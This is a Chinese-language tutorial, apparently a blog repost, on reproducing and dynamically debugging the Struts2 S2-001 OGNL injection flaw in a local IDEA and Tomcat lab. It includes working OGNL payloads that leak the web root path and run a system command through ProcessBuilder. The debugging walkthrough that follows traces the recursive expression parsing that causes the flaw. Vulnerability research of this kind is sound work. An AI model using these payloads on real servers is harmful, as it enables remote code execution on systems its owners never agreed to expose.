前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >IDEA动态调试(一)——OGNL表达式注入(S2-001)

IDEA动态调试(一)——OGNL表达式注入(S2-001)

作者头像
Jayway
发布2020-03-12 18:28:18
2.4K0
发布2020-03-12 18:28:18
举报
文章被收录于专栏:卓文见识卓文见识

一、环境搭建:

首先在IDEA中搭建调试环境,File-New-Java Enterprise,选择Web Application:

然后构造项目,这里使用现成的Demo代码:

依次新建web.xml:

代码语言:javascript
复制

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8"?><web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">    <display-name>S2-001 Example</display-name>    <filter>        <filter-name>struts2</filter-name>        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>    </filter>    <filter-mapping>        <filter-name>struts2</filter-name>        <url-pattern>/*</url-pattern>    </filter-mapping>    <welcome-file-list>        <welcome-file>index.jsp</welcome-file>    </welcome-file-list></web-app>

前端代码,登录页面index.jsp和登录成功的welcome.jsp:

代码语言:javascript
复制
代码语言:javascript
复制
<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">  <title>S2-001</title></head><body><h2>S2-001 Demo</h2><p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><s:form action="login">  <s:textfield name="username" label="username" />  <s:textfield name="password" label="password" />  <s:submit></s:submit></s:form></body></html>
代码语言:javascript
复制
代码语言:javascript
复制
<%@ page language="java" contentType="text/html; charset=UTF-8"         pageEncoding="UTF-8"%><%@ taglib prefix="s" uri="/struts-tags" %><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head>    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">    <title>S2-001</title></head><body><p>Hello <s:property value="username"></s:property></p></body></html>

src中新建com.demo.action包,后端处理代码LoginAction.java:

代码语言:javascript
复制
代码语言:javascript
复制
package com.demo.action;import com.opensymphony.xwork2.ActionSupport;public class LoginAction extends ActionSupport {    private String username = null;    private String password = null;    public String getUsername() {        return this.username;    }
    public String getPassword() {        return this.password;    }
    public void setUsername(String username) {        this.username = username;    }
    public void setPassword(String password) {        this.password = password;    }
    public String execute() throws Exception {        if ((this.username.isEmpty()) || (this.password.isEmpty())) {            return "error";        }        if ((this.username.equalsIgnoreCase("admin"))                && (this.password.equals("admin"))) {            return "success";        }        return "error";    }}

并在src目录下新建struts.xml:

代码语言:javascript
复制
代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE struts PUBLIC        "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"        "http://struts.apache.org/dtds/struts-2.0.dtd"><struts>    <package name="S2-001" extends="struts-default">        <action name="login" class="com.demo.action.LoginAction">            <result name="success">welcome.jsp</result>            <result name="error">index.jsp</result>        </action>    </package></struts>

最后在web目录下新建lib目录,放进所需的四个调用jar包,struts包下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip并在File—Project Structure—Dependencies—“+” 号—JARs将jar包导入:

最后将IDEA连接本地搭建好的Tomcat服务器,Run-EditConfigurations,配置tomcat安装地址及JRE:

二、攻击效果复现:

点击Run之后,进入搭建的环境,系统是在password字段触发的,首先在这里输入%{2+3}:

按代码逻辑,提交后若账号密码错误会将输入打印,发现password被解析:2+3的结果5:

进一步进行攻击,输入payload,如获取web目录:

代码语言:javascript
复制
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意代码RCE:

代码语言:javascript
复制
%{#a=(new java.lang.ProcessBuilder(newjava.lang.String[]{"calc"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=newjava.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=newchar[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(newjava.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

三、动态调试

这才到了本文的重点,了解OGNL注入的漏洞原理及触发过程以及动态调试的相关知识。S2-001的漏洞原理是在Struts2重新渲染jsp时,对ognl表达式进行了递归解析,导致了恶意的表达式被执行。我们以Debug方式运行环境:

在此之前需下一断点,系统在运行在这里的地方会停住,在点击Submit,http请求经过tomcat容器的处理之后会到达struts2,所以可以从这里开始调试,ParametersInterceptor类接受我们输入的参数值进行处理:

开启Debug后,输入payload后submit,程序在断点处停下,可观察此时堆栈的情况:

下断点的方法有很多,和二进制逆向的方法类似,下断点的目的是帮助我们定位到关键处理。下断点之后的另一个工作就是调试,主要用的Step into(F7)——遇到方法会进入,和Step over(F8)——不跟进方法内部。

这里也可以在自定义类LoginAction里下断点:

从调用栈中可以看到,在DefaultActionInvocation类中反射调用了我们自定义的类LoginAction

最终都会到达TextParseUtil类,在此处下断点,程序会进入几次,循环将变量转换为对象,所以expression不一样:

读取jsp标签并通过UIBean解析,这里可以Step over直到解析到标签的值:

经过XWorkConverter后expression的值变为%{password}:

由于没有验证,输入%{2+3}被当做表达式进行解析,将解析结果取出继续在while中循环解析,由于结果2不满足表达式规则,将其返回为最终结果。

总结一下,漏洞的根因出现在XWork中ognl表达式的解析方法为递归解析。其他漏洞的动态调试方法也大概如此,后续总结。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档